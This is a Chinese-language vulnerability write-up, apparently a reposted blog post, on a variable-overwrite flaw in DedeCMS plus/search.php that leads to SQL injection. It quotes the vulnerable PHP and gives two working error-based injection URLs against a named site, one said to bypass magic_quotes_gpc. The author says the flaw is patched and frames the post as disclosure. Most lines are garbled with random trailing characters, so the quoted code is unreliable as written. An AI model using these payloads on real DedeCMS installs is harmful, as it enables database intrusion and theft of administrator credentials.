微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.8 T5 K* U* F6 @' W
作者: c4rp3nt3r@0x50sec.org- \$ E' p; t: b+ `7 {, ?0 P
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.; w( \. k7 |5 O5 P
* M: J& r+ E F1 j4 Q' [黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.+ h0 P n$ d: k% I: z: s
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.. l- J8 D- d: @! \. z) \
( L& n4 q3 F/ N/ p, J# l& Mrequire_once(dirname(__FILE__).”/../include/common.inc.php”);: D3 z6 G! B& k/ ?/ U; J# X
require_once(DEDEINC.”/arc.searchview.class.php”);
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& Q6 O% q+ k6 ~* V1 I$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;; n' i6 D3 C9 d
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;0 K" t8 A# M; { W
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;( v; K, c4 w: H$ G1 Q: \
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;+ o& a: `- n7 p% a4 L
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;0 c( l2 }8 o) J4 Z
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if(!isset($orderby)) $orderby=”;; U: ?" s3 S5 v( |" T
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
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7 S1 N4 [9 @3 B/ F( d/ Y8 {
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
( \6 n/ A/ W l* f5 w: Celse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);5 Q0 {. G: I* j2 ^- u- l( @
3 o& u4 b: K0 i4 u+ p4 j. X3 }$ ]if(!isset($keyword)){5 I& p/ U8 F+ G: I8 g# {+ z- a% A
if(!isset($q)) $q = ”;" N0 i$ e/ s& m& V1 K
$keyword=$q;
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: K$ v) a1 ~% m8 K$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
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" C3 T+ m& d+ m$ I//查找栏目信息 q7 j7 u( L; J
if(empty($typeid))* ~# }- F' L7 Q* y
{
5 g5 N( v( i% y- g4 {! c $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;" A# c7 G5 {' b6 C
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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3 x* ~( E" N+ C- y8 ~. ` $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
6 F! |9 S7 F# e1 K! K fwrite($fp, “<”.”?php\r\n”);5 C8 \$ n0 u' E$ z
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);, y* `) M( D! B5 f# J5 o* i
$dsql->Execute();8 h3 h2 l5 w+ r% k1 v' x2 ]! a, [
while($row = $dsql->GetArray()): p* o7 F* D, R L4 p/ U- ~5 u T) Y' u
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fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
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fwrite($fp, ‘?’.'>’);
& a0 v! c& {6 u2 e5 ^ fclose($fp);
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//引入栏目缓存并看关键字是否有相关栏目内容
% |7 F$ ?& X6 s* H3 H( ]8 R5 f' j* W2 t require_once($typenameCacheFile);# {# }# J+ W+ u% G. d! C4 ~/ B
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个+ k' E0 }( ~- f, q) W2 `/ Y
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if(isset($typeArr) && is_array($typeArr))
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foreach($typeArr as $id=>$typename)" Y; {5 K2 N a5 s
{, b# I# B$ s$ s$ R2 N$ a3 {' [
6 k- R6 r3 |5 @, y! c: b6 v( O v <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过. r4 p, |/ p9 j1 l" M& a
if($keyword != $keywordn)
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! c- j9 s* [7 q" s) x |# ] u $keyword = $keywordn;
+ r' l) e, [2 y m: g5 k; ] <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设1 f/ M, A+ |% O: B
break; I8 n; g0 e! i5 W. @
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}
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然后plus/search.php文件下面定义了一个 Search类的对象 .. v* a9 E% Z; O& a/ l1 m4 P9 h
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.4 V, B0 S' G. E' |
$this->TypeLink = new TypeLink($typeid);. @( G' u6 j& j7 O9 C6 j. v
6 N8 S+ s' K8 q8 f: _$ z& k% KTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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: Z% v5 J, ]. k4 _9 J4 s i3 @0 kclass TypeLink
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! y/ B- \& m# P0 |+ z var $typeDir;& r; A% A2 L/ y+ l, V7 R
var $dsql;
3 v h2 {9 }3 U" t5 U7 M9 t( }+ d var $TypeID;
! {. }+ L6 [# }2 Q$ E var $baseDir;. d+ b9 u8 Z; [ @' \, H
var $modDir;
, f$ d& b% s5 d var $indexUrl;8 E5 Y$ ?& t8 k a4 H6 K
var $indexName;
7 b+ S6 J. p3 t! E8 {3 |- c var $TypeInfos;
! y7 g6 D/ r! Y5 y8 M, \3 |% B var $SplitSymbol;
# i; ~% z* f- o, A4 N0 H6 Z0 _( n var $valuePosition;; k8 E. \( Y2 |( m
var $valuePositionName;
8 n9 g! |# g- o& c var $OptionArrayList;//构造函数///////
+ A" \ Q j% Y2 i- c7 }. E8 I //php5构造函数- U" [. m0 I+ ~' T3 H$ \
function __construct($typeid)
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$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];& e6 q5 y: W9 v# w+ Q
$this->indexName = $GLOBALS['cfg_indexname'];
% o' v) Q( y7 n, {$ B( d $this->baseDir = $GLOBALS['cfg_basedir'];7 I6 L3 |* Z0 j5 Z
$this->modDir = $GLOBALS['cfg_templets_dir'];% O4 b3 F$ x: z k
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
5 @5 a) H% G0 y$ Y9 u. R $this->dsql = $GLOBALS['dsql'];, @ }, V: @# b* E- T4 G1 b; a D9 ?
$this->TypeID = $typeid;
6 h- `% M. u5 i- P $this->valuePosition = ”;% U0 f8 u5 k1 e
$this->valuePositionName = ”;' O3 B9 m; E* M
$this->typeDir = ”;
0 {* z& n( g2 s% b $this->OptionArrayList = ”;6 \9 e1 y# j1 p; o6 Z4 ?
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//载入类目信息 ~. j# p$ q9 J% Z
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<font color=”Red”>$query = “SELECT tp.*,ch.typename as7 L: g+ v# S6 K
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join$ }. o1 G+ S0 u Y) ?
`#@__channeltype` ch, i9 @; d2 G+ e3 D- c/ X
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
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: C: \1 B5 X2 `/ G if($typeid > 0)
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$this->TypeInfos = $this->dsql->GetOne($query);
+ O5 P8 n% u5 {利用代码一 需要 即使magic_quotes_gpc = Off) O% K' e$ p) _, D3 I6 C8 y4 T( c
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www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title% }+ P5 L4 I6 q- _
7 j$ `! B+ y% I% ^这只是其中一个利用代码… Search 类的构造函数再往下+ @- v5 z. q) {! ]9 z
4 I! X' x9 G. Y$ p……省略
9 I( R; S3 z* q$this->TypeID = $typeid;$ e( l" V3 |: h6 d) j8 `2 k7 T# @3 f
……省略3 U* h: y) g3 t/ q$ @
if($this->TypeID==”0″){
/ N N# E* U3 D) A $this->ChannelTypeid=1;1 W& g9 T, k" `" s l
}else{
0 J$ s* I( _) `- N4 _ $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
5 {; l r) x% _" d2 c5 S3 B O//现在不鸡肋了吧亲…5 ]9 j' z4 M2 {
$this->ChannelTypeid=$row['channeltype'];
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利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
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www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
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. p+ {8 B3 F" l+ `( F如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
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